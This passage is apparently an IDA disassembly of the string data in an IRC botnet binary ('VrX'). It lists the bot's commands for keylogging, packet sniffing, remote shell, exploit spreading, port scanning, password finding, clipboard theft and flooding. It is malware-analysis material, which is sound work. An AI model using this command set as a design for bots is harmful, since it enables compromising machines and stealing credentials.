sub_401ACD+48AFo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 4 aM: ; DATA XREF: sub_401ACD+47E0o ; .packed:004387C8o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 4 aA: ; DATA XREF: sub_401ACD+4784o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo aV: ; DATA XREF: sub_401ACD+3FE4o ; .packed:004387BCo ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 10h aO: ; DATA XREF: sub_401ACD+3E74o ; .packed:00438AECo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 aJ: ; DATA XREF: sub_401ACD+3D32o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D04o ; .packed:004387C4o ... unicode 0, <n>,0 unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 10h aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 0 dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3A7Co dd 1 dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+369Ao dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 10h aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32A4o dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 10h unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2D8Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o ; sub_411BCE+A8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+2917o dd 65726874h, 2E736461h, 0 dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2815o dd 2E676Fh unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+2658o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; sub_401ACD+5B20o align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 10h aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... aSpoof db 'spoof',0 ; DATA XREF: 